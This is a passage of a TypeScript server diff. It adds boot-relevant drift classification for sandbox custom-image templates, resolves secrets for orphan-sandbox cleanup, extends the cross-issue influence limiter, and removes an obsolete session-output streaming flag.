         parentTaskSlug = taskSlugByIssueId.get(issue.parentId) ?? null;
         if (!parentTaskSlug) unexportedParentEdgeCount += 1;
       }
-      const issueDocumentRows = await documentsSvc.listIssueDocuments(issue.id, { includeSystem: true });
+      const issueDocumentRows = details.issueDocumentRows;
       const documentEntries = issueDocumentRows.map((document) => {
         const documentPath = `tasks/${taskSlug}/documents/${document.key}.md`;
         files[documentPath] = document.body ?? "";
@@ -4318,7 +4400,7 @@ export function companyPortabilityService(db: Db, storage?: StorageService) {
           path: documentPath,
         };
       });
-      const workProductRows = await workProductsSvc.listForIssue(issue.id);
+      const workProductRows = details.workProductRows;
       const workProductEntries = workProductRows.map((workProduct) => {
         if (workProduct.executionWorkspaceId || workProduct.runtimeServiceId || workProduct.createdByRunId) {
           unportableWorkProductRefCount += 1;
@@ -4340,9 +4422,7 @@ export function companyPortabilityService(db: Db, storage?: StorageService) {
       // Attachment bytes travel as content-addressed blobs/<sha256> entries,
       // deduped across the bundle; each per-task entry references its blob by
       // hash and its comment by index into the exported comments array.
-      const attachmentRows = (await issuesSvc.listAttachments(issue.id))
-        .slice()
-        .sort((left, right) => new Date(left.createdAt).getTime() - new Date(right.createdAt).getTime());
+      const attachmentRows = details.attachmentRows;
       const commentIndexById = new Map(comments.map((comment, index) => [comment.id, index] as const));
       const attachmentEntries: Array<Record<string, unknown>> = [];
       if (attachmentRows.length > 0 && !storage) {
@@ -4627,7 +4707,7 @@ export function companyPortabilityService(db: Db, storage?: StorageService) {
     resolved.warnings.unshift(...warnings);
 
     // Generate org chart PNG from manifest agents
-    if (resolved.manifest.agents.length > 0) {
+    if (!options.preview && resolved.manifest.agents.length > 0) {
       try {
         const orgNodes = buildOrgTreeFromManifest(resolved.manifest.agents);
         const pngBuffer = await renderOrgChartPng(orgNodes);
@@ -4686,7 +4766,7 @@ export function companyPortabilityService(db: Db, storage?: StorageService) {
     if (previewInput.include && previewInput.include.issues === undefined) {
       previewInput.include.issues = false;
     }
-    const exported = await exportBundle(companyId, previewInput);
+    const exported = await exportBundle(companyId, previewInput, { preview: true });
     return {
       ...exported,
       fileInventory: Object.keys(exported.files)
diff --git a/server/src/services/cross-issue-influence-limit.ts b/server/src/services/cross-issue-influence-limit.ts
index aef4a568768..c2c4319a73b 100644
--- a/server/src/services/cross-issue-influence-limit.ts
+++ b/server/src/services/cross-issue-influence-limit.ts
@@ -11,7 +11,13 @@ export const CROSS_ISSUE_INFLUENCE_ENFORCE_AT = new Date("2026-08-11T00:00:00.00
 const CROSS_ISSUE_INFLUENCE_ACTIVITY = "issue.cross_issue_influence_observed";
 const CROSS_ISSUE_INFLUENCE_REJECTED_ACTIVITY = "issue.cross_issue_influence_cap_rejected";
 
-export type CrossIssueInfluenceKind = "comment" | "update";
+/**
+ * Every kind shares one per-run counter. `interaction_resolution` covers the
+ * issue-thread accept/reject/respond/verdict routes: an open `anyone` resolver
+ * audience is not a licence to resolve, wake, and spawn suggested tasks across
+ * the whole company from one run.
+ */
+export type CrossIssueInfluenceKind = "comment" | "update" | "interaction_resolution";
 
 export type CrossIssueInfluenceDecision = {
   allowed: boolean;
diff --git a/server/src/services/environment-config.ts b/server/src/services/environment-config.ts
index 433839de826..887272ddc3b 100644
--- a/server/src/services/environment-config.ts
+++ b/server/src/services/environment-config.ts
@@ -33,16 +33,16 @@ import { resolveActiveEnvironmentCustomImageTemplateForRuntime } from "./environ
 
 const secretRefSchema = z.object({
   type: z.literal("secret_ref"),
-  secretId: z.string().uuid(),
+  secretId: z.string().guid(),
   version: z.union([z.literal("latest"), z.number().int().positive()]).optional().default("latest"),
 }).strict();
 
 const sshEnvironmentConfigSchema = z.object({
-  host: z.string({ required_error: "SSH environments require a host." }).trim().min(1, "SSH environments require a host."),
+  host: z.string({ error: "SSH environments require a host." }).trim().min(1, "SSH environments require a host."),
   port: z.coerce.number().int().min(1).max(65535).default(22),
-  username: z.string({ required_error: "SSH environments require a username." }).trim().min(1, "SSH environments require a username."),
+  username: z.string({ error: "SSH environments require a username." }).trim().min(1, "SSH environments require a username."),
   remoteWorkspacePath: z
-    .string({ required_error: "SSH environments require a remote workspace path." })
+    .string({ error: "SSH environments require a remote workspace path." })
     .trim()
     .min(1, "SSH environments require a remote workspace path.")
     .refine((value) => value.startsWith("/"), "SSH remote workspace path must be absolute."),
@@ -77,7 +77,6 @@ const fakeSandboxEnvironmentConfigSchema = z.object({
     .default("ubuntu:24.04"),
   reuseLease: z.boolean().optional().default(false),
   streamRunLogs: z.boolean().optional(),
-  streamAgentSessionOutput: z.boolean().optional(),
   archiveOnRelease: z.boolean().optional(),
 }).strict();
 
@@ -94,7 +93,6 @@ const pluginSandboxEnvironmentConfigSchema = z.object({
   timeoutMs: z.coerce.number().int().min(1).max(86_400_000).optional(),
   reuseLease: z.boolean().optional().default(false),
   streamRunLogs: z.boolean().optional(),
-  streamAgentSessionOutput: z.boolean().optional(),
   archiveOnRelease: z.boolean().optional(),
 }).catchall(z.unknown());
 
@@ -104,7 +102,7 @@ const pluginEnvironmentConfigSchema = z.object({
     /^[a-z0-9][a-z0-9._-]*$/,
     "Environment driver key must start with a lowercase alphanumeric and contain only lowercase letters, digits, dots, hyphens, or underscores",
   ),
-  driverConfig: z.record(z.unknown()).optional().default({}),
+  driverConfig: z.record(z.string(), z.unknown()).optional().default({}),
 }).strict();
 
 export type ParsedEnvironmentConfig =
@@ -123,10 +121,29 @@ function getSandboxProvider(raw: Record<string, unknown>) {
   return typeof raw.provider === "string" && raw.provider.trim().length > 0 ? raw.provider.trim() : "fake";
 }
 
+// Operator flags removed when session-output streaming moved to the verified
+// capability snapshot. A saved environment config can still carry a removed key.
+// The server now decides session-output streaming from the effective capability
+// snapshot alone, so no consumer reads these flags. Strip a removed key before
+// validation so a strict schema (the fake sandbox) still loads an old config,
+// and so the removed flag never reaches the parsed config.
+const REMOVED_SANDBOX_CONFIG_KEYS = ["streamAgentSessionOutput"] as const;
+
+function stripRemovedSandboxConfigKeys(raw: Record<string, unknown>): Record<string, unknown> {
+  if (!REMOVED_SANDBOX_CONFIG_KEYS.some((key) => key in raw)) {
+    return raw;
+  }
+  const next = { ...raw };
+  for (const key of REMOVED_SANDBOX_CONFIG_KEYS) {
+    delete next[key];
+  }
+  return next;
+}
+
 function parseSandboxEnvironmentConfig(
   input: Record<string, unknown> | null | undefined,
 ) {
-  const raw = parseObject(input);
+  const raw = stripRemovedSandboxConfigKeys(parseObject(input));
   const provider = getSandboxProvider(raw);
 
   if (provider === "fake") {
@@ -373,15 +390,14 @@ export function stripSandboxProviderEnvelope(config: SandboxEnvironmentConfig):
   return driverConfig;
 }
 
-// The host owns these sandbox run-behavior flags, not the provider plugin. The
-// host reads them to select the run-log stream and the ACP session output
-// stream. The host passes the whole config to the plugin, so a plugin that
-// allowlists its own driver fields drops these flags from its normalized
-// config. Re-apply them from the parsed envelope after the plugin normalizes,
-// or a saved environment loses the operator opt-in and the stream never starts.
+// The host owns this sandbox run-behavior flag, not the provider plugin. The
+// host reads it to select the run-log stream. The host passes the whole config
+// to the plugin, so a plugin that allowlists its own driver fields drops the
+// flag from its normalized config. Re-apply it from the parsed envelope after
+// the plugin normalizes, or a saved environment loses the operator opt-in and
+// the stream never starts.
 const HOST_OWNED_SANDBOX_STREAM_FLAGS = [
   "streamRunLogs",
-  "streamAgentSessionOutput",
 ] as const;
 
 function applyHostOwnedSandboxStreamFlags(
@@ -698,6 +714,45 @@ export async function resolveEnvironmentDriverConfigForRuntime(
   return parsed;
 }
 
+/**
+ * Resolve the connection secrets of a recorded sandbox config for a durable
+ * orphan-sandbox teardown. The retry reads the recorded config from the durable
+ * `pending_cleanup` lease row, not from the current environment. So this
+ * resolver must not require the environment binding: a delete removed the
+ * environment, or a provider change replaced the binding. It resolves each
+ * schema-declared secret ref by id at the latest version through
+ * `resolveSecretValueForSandboxCleanup`, which authorizes the read from the
+ * durable orphan record and skips the binding check. The resolved values are
+ * used once for the teardown RPC and never persisted.
+ */
+export async function resolveSandboxCleanupConfigSecrets(
+  db: Db,
+  companyId: string,
+  config: SandboxEnvironmentConfig,
+  context?: { issueId?: string | null; heartbeatRunId?: string | null },
+): Promise<SandboxEnvironmentConfig> {
+  if (config.provider === "fake") return config;
+  const schema = await getSandboxProviderConfigSchema(db, config.provider);
+  const secrets = secretService(db);
+  let nextConfig = { ...config } as Record<string, unknown>;
+  for (const path of collectSecretRefPaths(schema)) {
+    const current = canonicalizeSecretRefValue(readConfigValueAtPath(nextConfig, path), path);
+    if (typeof current !== "string") continue;
+    const trimmed = current.trim();
+    if (!isUuidSecretRef(trimmed)) continue;
+    nextConfig = writeConfigValueAtPath(
+      nextConfig,
+      path,
+      await secrets.resolveSecretValueForSandboxCleanup(companyId, trimmed, "latest", {
+        configPath: path,
+        issueId: context?.issueId ?? null,
+        heartbeatRunId: context?.heartbeatRunId ?? null,
+      }),
+    );
+  }
+  return nextConfig as SandboxEnvironmentConfig;
+}
+
 export function readSshEnvironmentPrivateKeySecretId(
   environment: Pick<Environment, "driver" | "config">,
 ): string | null {
diff --git a/server/src/services/environment-custom-image-runtime.ts b/server/src/services/environment-custom-image-runtime.ts
index 254169290c8..996770ef3f7 100644
--- a/server/src/services/environment-custom-image-runtime.ts
+++ b/server/src/services/environment-custom-image-runtime.ts
@@ -219,6 +219,313 @@ export function classifyEnvironmentCustomImageConfigChange(input: {
   return "relinkable";
 }
 
+// --- Operator relink action (server-owned boot-source classification) --------
+//
+// A saved config change moves the fingerprint and detaches an otherwise-valid
+// template. The relink action re-stamps the fingerprint, but only after the
+// server decides the boot source did not change. To decide that without the
+// capture-time config, the capture persists a small, server-owned snapshot of
+// the boot-relevant fields. The relink then compares that snapshot to the
+// current config. The comparison runs on the server; the client never
+// classifies.
+
+export const ENVIRONMENT_CUSTOM_IMAGE_BOOT_RELEVANT_CONFIG_METADATA_KEY = "bootRelevantConfig";
+export const ENVIRONMENT_CUSTOM_IMAGE_BOOT_RELEVANT_CONFIG_VERSION = 1;
+// A driver-declared identity path that fails canonicalization is never trusted
+// and never persisted verbatim. It records this fixed marker instead, which
+// forces the fail-closed `unclassified` result at relink time.
+export const ENVIRONMENT_CUSTOM_IMAGE_BOOT_RELEVANT_UNRESOLVED_PATH = "[unresolved-identity-path]";
+
+const BOOT_RELEVANT_CONFIG_MAX_PATH_DEPTH = 8;
+const BOOT_RELEVANT_CONFIG_PATH_SEGMENT_RE = /^[A-Za-z_][A-Za-z0-9_-]*$/;
+// Prototype keys have an identifier shape but never name an own config field.
+// A driver that declares one is hostile or broken. Reject it so the path fails
+// closed as an unresolved identity path.
+const BOOT_RELEVANT_CONFIG_RESERVED_SEGMENTS = new Set(["__proto__", "prototype", "constructor"]);
+
+export type EnvironmentCustomImageRelinkClassification =
+  | "knob_only"
+  | "boot_source_drift"
+  | "unclassified";
+
+/**
+ * Server-owned snapshot of the boot-relevant config fields at capture time. It
+ * carries the field values that decide the boot source, with every secret-ref
+ * path and every unresolvable driver path excluded (path name only, no value).
+ */
+export interface EnvironmentCustomImageBootRelevantConfig {
+  version: typeof ENVIRONMENT_CUSTOM_IMAGE_BOOT_RELEVANT_CONFIG_VERSION;
+  provider: string;
+  bindingField: string;
+  values: Record<string, unknown>;
+  excludedPaths: string[];
+}
+
+export interface EnvironmentCustomImageDriftedPath {
+  path: string;
+  from?: unknown;
+  to?: unknown;
+}
+
+/**
+ * Canonicalizes a config path as a bounded dot-path. Each segment must be a
+ * plain identifier and the depth is bounded. An invalid, ambiguous, or
+ * unresolvable path returns `null`; the caller must never persist the raw
+ * driver-supplied string.
+ */
+export function canonicalizeEnvironmentCustomImageConfigPath(raw: unknown): string | null {
+  if (typeof raw !== "string") return null;
+  const trimmed = raw.trim();
+  if (!trimmed) return null;
+  const segments = trimmed.split(".");
+  if (segments.length === 0 || segments.length > BOOT_RELEVANT_CONFIG_MAX_PATH_DEPTH) return null;
+  for (const segment of segments) {
+    if (!BOOT_RELEVANT_CONFIG_PATH_SEGMENT_RE.test(segment)) return null;
+    if (BOOT_RELEVANT_CONFIG_RESERVED_SEGMENTS.has(segment)) return null;
+  }
+  return segments.join(".");
+}
+
+/**
+ * Reports whether a candidate path overlaps any secret-ref path by exact,
+ * ancestor, or descendant containment.
+ */
+function environmentCustomImageConfigPathOverlapsSecret(
+  candidate: string,
+  secretPaths: Iterable<string>,
+): boolean {
+  for (const raw of secretPaths) {
+    const secret = canonicalizeEnvironmentCustomImageConfigPath(raw);
+    if (!secret) continue;
+    if (candidate === secret) return true;
+    if (candidate.startsWith(`${secret}.`)) return true;
+    if (secret.startsWith(`${candidate}.`)) return true;
+  }
+  return false;
+}
+
+/**
+ * The current boot-relevant path contract a provider driver declares. It names
+ * the config binding and the driver identity paths that decide the boot source
+ * now. A relink compares a persisted snapshot against this contract to detect a
+ * provider change since capture.
+ */
+export interface EnvironmentCustomImageBootRelevantContract {
+  binding: EnvironmentCustomImageRuntimeConfigBinding;
+  templateIdentityPaths?: Iterable<string>;
+}
+
+/**
+ * Computes the canonical candidate boot-relevant paths for a binding and its
+ * driver identity paths. Both the capture snapshot and the relink staleness
+ * check use this function, so they share one path set. `hasUnresolved` is true
+ * when any raw path fails canonicalization.
+ */
+export function environmentCustomImageBootRelevantCandidatePaths(
+  contract: EnvironmentCustomImageBootRelevantContract,
+): { canonicalPaths: string[]; hasUnresolved: boolean } {
+  const canonicalPaths: string[] = [];
+  const seen = new Set<string>();
+  let hasUnresolved = false;
+  const rawCandidatePaths = [
+    contract.binding.field,
+    ...contract.binding.unsetFields,
+    ...ENVIRONMENT_CUSTOM_IMAGE_TEMPLATE_SOURCE_FIELDS,
+    ...(contract.templateIdentityPaths ?? []),
+  ];
+  for (const rawPath of rawCandidatePaths) {
+    const canonical = canonicalizeEnvironmentCustomImageConfigPath(rawPath);
+    if (!canonical) {
+      hasUnresolved = true;
+      continue;
+    }
+    if (seen.has(canonical)) continue;
+    seen.add(canonical);
+    canonicalPaths.push(canonical);
+  }
+  return { canonicalPaths, hasUnresolved };
+}
+
+/**
+ * Builds the capture-time boot-relevant snapshot from the parsed config only.
+ * Candidate paths are the runtime binding field, the binding unset fields, the
+ * standard boot-source fields, and every driver identity path. A secret-ref
+ * overlap or an unresolvable path is recorded in `excludedPaths` with no value.
+ */
+export function buildEnvironmentCustomImageBootRelevantConfig(input: {
+  config: SandboxEnvironmentConfig;
+  binding: EnvironmentCustomImageRuntimeConfigBinding;
+  templateIdentityPaths?: Iterable<string>;
+  secretRefExcludePaths?: Iterable<string>;
+}): EnvironmentCustomImageBootRelevantConfig {
+  const config = input.config as Record<string, unknown>;
+  const secretPaths = [...(input.secretRefExcludePaths ?? [])];
+  // A null-prototype map is a second guard: a reserved segment assignment can
+  // never mutate the prototype, so a hostile path cannot vanish from `values`.
+  const values: Record<string, unknown> = Object.create(null);
+  const excludedPaths = new Set<string>();
+
+  const { canonicalPaths, hasUnresolved } = environmentCustomImageBootRelevantCandidatePaths({
+    binding: input.binding,
+    templateIdentityPaths: input.templateIdentityPaths,
+  });
+  if (hasUnresolved) {
+    excludedPaths.add(ENVIRONMENT_CUSTOM_IMAGE_BOOT_RELEVANT_UNRESOLVED_PATH);
+  }
+  for (const canonical of canonicalPaths) {
+    if (environmentCustomImageConfigPathOverlapsSecret(canonical, secretPaths)) {
+      excludedPaths.add(canonical);
+      continue;
+    }
+    const value = readConfigValueAtPath(config, canonical);
+    // An absent field is stored as `null` so that "absent then, absent now"
+    // compares equal at relink time.
+    values[canonical] = value === undefined ? null : value;
+  }
+  return {
+    version: ENVIRONMENT_CUSTOM_IMAGE_BOOT_RELEVANT_CONFIG_VERSION,
+    provider: input.config.provider,
+    bindingField: input.binding.field,
+    values,
+    excludedPaths: [...excludedPaths],
+  };
+}
+
+/**
+ * Reports whether a persisted snapshot no longer matches the current provider
+ * boot-relevant contract. A provider plugin can change its config binding or
+ * its identity paths after capture. When it does, a field that is boot-relevant
+ * now but absent from the snapshot would compare equal by absence and hide real
+ * drift. The check fails closed on:
+ *
+ * - a binding field that differs from the captured `bindingField`;
+ * - a current identity path the snapshot never covered (neither a value nor an
+ *   excluded path);
+ * - a current contract that itself carries an unresolvable identity path.
+ */
+export function environmentCustomImageBootRelevantSnapshotIsStale(input: {
+  bootRelevantConfig: EnvironmentCustomImageBootRelevantConfig;
+  currentContract: EnvironmentCustomImageBootRelevantContract;
+}): boolean {
+  const boot = input.bootRelevantConfig;
+  if (input.currentContract.binding.field !== boot.bindingField) return true;
+  const { canonicalPaths, hasUnresolved } = environmentCustomImageBootRelevantCandidatePaths(
+    input.currentContract,
+  );
+  if (hasUnresolved) return true;
+  const covered = new Set<string>([
+    ...Object.keys(boot.values),
+    ...boot.excludedPaths,
+  ]);
+  return canonicalPaths.some((path) => !covered.has(path));
+}
+
+/**
+ * Reads and validates the persisted boot-relevant snapshot. Returns `null` for
+ * a legacy template with no snapshot or for a malformed shape; both classify as
+ * `unclassified` (fail closed).
+ */
+export function readEnvironmentCustomImageBootRelevantConfig(
+  metadata: Record<string, unknown> | null | undefined,
+): EnvironmentCustomImageBootRelevantConfig | null {
+  const raw = metadata?.[ENVIRONMENT_CUSTOM_IMAGE_BOOT_RELEVANT_CONFIG_METADATA_KEY];
+  if (!isRecord(raw)) return null;
+  if (raw.version !== ENVIRONMENT_CUSTOM_IMAGE_BOOT_RELEVANT_CONFIG_VERSION) return null;
+  if (typeof raw.provider !== "string" || typeof raw.bindingField !== "string") return null;
+  if (!isRecord(raw.values)) return null;
+  if (!Array.isArray(raw.excludedPaths)) return null;
+  const excludedPaths = raw.excludedPaths.filter(
+    (entry): entry is string => typeof entry === "string",
+  );
+  return {
+    version: ENVIRONMENT_CUSTOM_IMAGE_BOOT_RELEVANT_CONFIG_VERSION,
+    provider: raw.provider,
+    bindingField: raw.bindingField,
+    values: raw.values,
+    excludedPaths,
+  };
+}
+
+/**
+ * Classifies the drift between the capture-time boot-relevant snapshot and the
+ * current parsed config.
+ *
+ * - `knob_only`: the snapshot is present, no path was excluded, and every value
+ *   still matches. The fingerprint can be re-stamped without confirmation.
+ * - `boot_source_drift`: a value-bearing path differs. The operator must
+ *   confirm before the re-stamp.
+ * - `unclassified`: no snapshot, an excluded path, a provider mismatch, or a
+ *   snapshot that no longer matches the current provider contract. The server
+ *   cannot verify the boot source; the operator must confirm (fail closed).
+ *
+ * `driftedPaths` carries raw `from`/`to` values only for value-bearing paths
+ * that passed containment at capture. Excluded paths carry the path name only.
+ *
+ * `currentContract` is the current provider boot-relevant contract. When the
+ * caller cannot resolve the driver, it passes `null`; the server then cannot
+ * verify the boot source and the result is `unclassified` (fail closed).
+ */
+export function classifyEnvironmentCustomImageBootRelevantDrift(input: {
+  bootRelevantConfig: EnvironmentCustomImageBootRelevantConfig | null;
+  currentConfig: SandboxEnvironmentConfig;
+  currentContract: EnvironmentCustomImageBootRelevantContract | null;
+}): {
+  classification: EnvironmentCustomImageRelinkClassification;
+  driftedPaths: EnvironmentCustomImageDriftedPath[];
+} {
+  const boot = input.bootRelevantConfig;
+  if (!boot) return { classification: "unclassified", driftedPaths: [] };
+  // Without the current provider contract the boot source cannot be verified
+  // against a possible identity-path change; fail closed.
+  if (!input.currentContract) return { classification: "unclassified", driftedPaths: [] };
+  // A provider change since capture (new binding or new identity path) makes
+  // the persisted snapshot untrustworthy; fail closed.
+  if (environmentCustomImageBootRelevantSnapshotIsStale({
+    bootRelevantConfig: boot,
+    currentContract: input.currentContract,
+  })) {
+    return { classification: "unclassified", driftedPaths: [] };
+  }
+  const current = input.currentConfig as Record<string, unknown>;
+
+  const driftedPaths: EnvironmentCustomImageDriftedPath[] = [];
+  let hasValueDrift = false;
+  for (const [path, capturedValue] of Object.entries(boot.values)) {
+    const currentValue = readConfigValueAtPath(current, path);
+    if (stableStringify(capturedValue ?? null) !== stableStringify(currentValue ?? null)) {
+      hasValueDrift = true;
+      driftedPaths.push({ path, from: capturedValue ?? null, to: currentValue ?? null });
+    }
+  }
+  for (const path of boot.excludedPaths) {
+    driftedPaths.push({ path });
+  }
+  const providerMismatch = boot.provider !== input.currentConfig.provider;
+  if (boot.excludedPaths.length > 0 || providerMismatch) {
+    return { classification: "unclassified", driftedPaths };
+  }
+  if (hasValueDrift) {
+    return { classification: "boot_source_drift", driftedPaths };
+  }
+  return { classification: "knob_only", driftedPaths: [] };
+}
+
+/**
+ * Removes the server-only boot-relevant snapshot from a template's metadata.
+ * The snapshot exists to classify a later relink and holds raw boot-source
+ * config values. It must never reach an API response. The runtime keeps it in
+ * the persisted row and reads it straight from the row at relink time.
+ */
+export function stripInternalEnvironmentCustomImageTemplateMetadata(
+  metadata: Record<string, unknown> | null | undefined,
+): Record<string, unknown> | null {
+  if (!metadata) return null;
+  if (!(ENVIRONMENT_CUSTOM_IMAGE_BOOT_RELEVANT_CONFIG_METADATA_KEY in metadata)) return metadata;
+  const rest = { ...metadata };
+  delete rest[ENVIRONMENT_CUSTOM_IMAGE_BOOT_RELEVANT_CONFIG_METADATA_KEY];
+  return rest;
+}
+
 export function environmentCustomImageTemplateFromRow(row: TemplateRow): EnvironmentCustomImageTemplate {
   return {
     id: row.id,
@@ -234,7 +541,9 @@ export function environmentCustomImageTemplateFromRow(row: TemplateRow): Environ
     capturedAt: row.capturedAt ?? null,
     lastUsedAt: row.lastUsedAt ?? null,
     supersededByTemplateId: row.supersededByTemplateId ?? null,
-    metadata: row.metadata ?? null,
+    // The boot-relevant snapshot is server-internal; keep it out of every
+    // template response. The relink path reads it from the persisted row.
+    metadata: stripInternalEnvironmentCustomImageTemplateMetadata(row.metadata),
     createdAt: row.createdAt,
     updatedAt: row.updatedAt,
   };
diff --git a/server/src/services/environment-custom-images.ts b/server/src/services/environment-custom-images.ts
index f8a8449f2f9..b7101ec01ba 100644
--- a/server/src/services/environment-custom-images.ts
+++ b/server/src/services/environment-custom-images.ts
@@ -39,7 +39,11 @@ import {
 import { environmentService } from "./environments.js";
 import {
   ENVIRONMENT_CUSTOM_IMAGE_CONFIG_FINGERPRINT_EXCLUDED_PATHS,
+  ENVIRONMENT_CUSTOM_IMAGE_BOOT_RELEVANT_CONFIG_METADATA_KEY,
   classifyEnvironmentCustomImageConfigChange,
+  classifyEnvironmentCustomImageBootRelevantDrift,
+  buildEnvironmentCustomImageBootRelevantConfig,
+  readEnvironmentCustomImageBootRelevantConfig,
   fingerprintEnvironmentSandboxProviderConfig,
   ENVIRONMENT_CUSTOM_IMAGE_RUNTIME_CONFIG_BINDING_METADATA_KEY,
   defaultEnvironmentCustomImageRuntimeConfigBinding,
@@ -47,7 +51,10 @@ import {
   normalizeEnvironmentCustomImageRuntimeConfigBinding,
   environmentCustomImageTemplateFromRow,
   readEnvironmentCustomImageTemplateKind as readTemplateKind,
+  type EnvironmentCustomImageRelinkClassification,
+  type EnvironmentCustomImageDriftedPath,
 } from "./environment-custom-image-runtime.js";
+import { logActivity } from "./activity-log.js";
 import type { PluginWorkerManager } from "./plugin-worker-manager.js";
 
 const ACTIVE_SETUP_STATUSES = ["starting", "waiting_for_user", "capturing"] as const;
@@ -67,10 +74,23 @@ export interface EnvironmentCustomImageOverview {
    * active template, or the config could not be evaluated).
    */
   activeTemplateMatchesConfig: boolean | null;
+  /**
+   * Boot-relevant drift attribution for the active template. It classifies the
+   * drift between the capture-time boot-relevant snapshot and the current
+   * config, and lists the drifted paths with their `from`/`to` values. The UI
+   * uses it to name the changed field instead of only "configuration changed".
+   * `null` when there is no active template or the driver is not `sandbox`.
+   */
+  activeTemplateDrift: EnvironmentCustomImageActiveTemplateDrift | null;
   activeSession: EnvironmentCustomImageSetupSession | null;
   latestSession: EnvironmentCustomImageSetupSession | null;
 }
 
+export interface EnvironmentCustomImageActiveTemplateDrift {
+  classification: EnvironmentCustomImageRelinkClassification;
+  driftedPaths: EnvironmentCustomImageDriftedPath[];
+}
+
 export type EnvironmentCustomImageReconciliation =
   | { action: "none" }
   | { action: "relinked"; template: EnvironmentCustomImageTemplate }
@@ -230,10 +250,10 @@ function sourceTemplateFromConfig(
   return { sourceTemplateRef: null, sourceTemplateKind: null };
 }
 
-async function resolveActiveTemplate(
+async function resolveActiveTemplateRow(
   db: Db,
   input: { environmentId: string; provider?: string | null },
-): Promise<EnvironmentCustomImageTemplate | null> {
+): Promise<typeof environmentCustomImageTemplates.$inferSelect | null> {
   const conditions = [
     eq(environmentCustomImageTemplates.environmentId, input.environmentId),
     eq(environmentCustomImageTemplates.status, "active"),
@@ -241,12 +261,19 @@ async function resolveActiveTemplate(
   if (input.provider) {
     conditions.push(eq(environmentCustomImageTemplates.provider, input.provider));
   }
-  const row = await db
+  return db
     .select()
     .from(environmentCustomImageTemplates)
     .where(and(...conditions))
     .orderBy(desc(environmentCustomImageTemplates.capturedAt), desc(environmentCustomImageTemplates.createdAt))
     .then((rows) => rows[0] ?? null);
+}
+
+async function resolveActiveTemplate(
+  db: Db,
+  input: { environmentId: string; provider?: string | null },
+): Promise<EnvironmentCustomImageTemplate | null> {
+  const row = await resolveActiveTemplateRow(db, input);
   return row ? environmentCustomImageTemplateFromRow(row) : null;
 }
 
@@ -630,21 +657,75 @@ export function environmentCustomImageService(
     }
   }
 
+  /**
+   * Computes the boot-relevant drift attribution for the active template row.
+   * It reuses the relink wiring: it reads the snapshot from the row metadata,
+   * resolves the current provider contract, and passes the current parsed
+   * config. A driver that no longer resolves fails closed (null contract, so
+   * `unclassified`). Returns `null` when there is no active template or the
+   * driver is not `sandbox`.
+   */
+  async function computeActiveTemplateDrift(
+    environment: Environment,
+    activeRow: typeof environmentCustomImageTemplates.$inferSelect | null,
+  ): Promise<EnvironmentCustomImageActiveTemplateDrift | null> {
+    if (!activeRow) return null;
+    let parsed: ReturnType<typeof parseEnvironmentDriverConfig>;
+    try {
+      parsed = parseEnvironmentDriverConfig(environment);
+    } catch {
+      return null;
+    }
+    if (parsed.driver !== "sandbox") return null;
+    const active = environmentCustomImageTemplateFromRow(activeRow);
+    // Resolve the current provider contract so the classifier can reject a
+    // snapshot captured against a different binding or identity-path set. A
+    // driver that no longer resolves fails closed (null contract).
+    const resolvedDriver = await resolvePluginSandboxProviderDriverByKey({
+      db,
+      driverKey: active.provider,
+    });
+    const currentContract = resolvedDriver
+      ? {
+          binding: templateConfigBindingFromDriver({
+            templateRefKind: active.templateKind,
+            templateConfigBinding: resolvedDriver.driver.templateConfigBinding,
+          }),
+          templateIdentityPaths: resolvedDriver.driver.templateIdentityPaths ?? [],
+        }
+      : null;
+    // The persisted snapshot is server-internal; read it from the row, not the
+    // sanitized template response.
+    const drift = classifyEnvironmentCustomImageBootRelevantDrift({
+      bootRelevantConfig: readEnvironmentCustomImageBootRelevantConfig(activeRow.metadata),
+      currentConfig: parsed.config,
+      currentContract,
+    });
+    return {
+      classification: drift.classification,
+      driftedPaths: drift.driftedPaths,
+    };
+  }
+
   return {
     getOverview: async (input: {
       environmentId: string;
     }): Promise<EnvironmentCustomImageOverview> => {
       const environment = await requireEnvironment(input.environmentId);
-      const [activeTemplate, activeSession, latestSession] = await Promise.all([
-        resolveActiveTemplate(db, input),
+      const [activeRow, activeSession, latestSession] = await Promise.all([
+        resolveActiveTemplateRow(db, input),
         getActiveSetupSession(input),
         getLatestSetupSession(input),
       ]);
+      const activeTemplate = activeRow
+        ? environmentCustomImageTemplateFromRow(activeRow)
+        : null;
       return {
         activeTemplate,
         activeTemplateMatchesConfig: activeTemplate
           ? await templateMatchesEnvironmentConfig(environment, activeTemplate)
           : null,
+        activeTemplateDrift: await computeActiveTemplateDrift(environment, activeRow),
         activeSession,
         latestSession,
       };
@@ -803,11 +884,14 @@ export function environmentCustomImageService(
         const captured = await callProviderCapture({ session, previousTemplate: currentActive });
         const environment = await requireEnvironment(session.environmentId);
         const parsed = parseEnvironmentDriverConfig(environment);
+        const captureSecretRefExcludePaths = parsed.driver === "sandbox"
+          ? [...await resolveSandboxProviderSecretRefPaths(db, parsed.config.provider)]
+          : [];
         const baseFingerprint = parsed.driver === "sandbox"
           ? fingerprintEnvironmentSandboxProviderConfig(parsed.config, {
               excludePaths: [
                 ...ENVIRONMENT_CUSTOM_IMAGE_CONFIG_FINGERPRINT_EXCLUDED_PATHS,
-                ...await resolveSandboxProviderSecretRefPaths(db, parsed.config.provider),
+                ...captureSecretRefExcludePaths,
               ],
             })
           : null;
@@ -821,6 +905,32 @@ export function environmentCustomImageService(
           templateRefKind: captured.templateKind,
           templateConfigBinding: provider.driver.templateConfigBinding,
         });
+        // Server-owned boot-relevant snapshot from the parsed config only. It
+        // lets a later relink decide, without the capture-time config, whether
+        // the boot source changed. Secret-ref paths carry no value.
+        const bootRelevantConfig = parsed.driver === "sandbox"
+          ? buildEnvironmentCustomImageBootRelevantConfig({
+              config: parsed.config,
+              binding: runtimeConfigBinding,
+              templateIdentityPaths: provider.driver.templateIdentityPaths ?? [],
+              secretRefExcludePaths: captureSecretRefExcludePaths,
+            })
+          : null;
+        const baseTemplateMetadata = normalizeProviderMetadata({
+          ...(captured.metadata ?? {}),
+          ...(input.metadata ? { userMetadata: input.metadata } : {}),
+          ...persistedSetupMetadata(session.metadata),
+          [ENVIRONMENT_CUSTOM_IMAGE_RUNTIME_CONFIG_BINDING_METADATA_KEY]: runtimeConfigBinding,
+        }) ?? {};
+        // The boot-relevant snapshot bypasses the provider-metadata redactor:
+        // its config field names (for example `apiUrl`) would otherwise be
+        // redacted by key and the relink comparison could never match.
+        const templateMetadata = bootRelevantConfig
+          ? {
+              ...baseTemplateMetadata,
+              [ENVIRONMENT_CUSTOM_IMAGE_BOOT_RELEVANT_CONFIG_METADATA_KEY]: bootRelevantConfig,
+            }
+          : baseTemplateMetadata;
         const now = input.now ?? new Date();
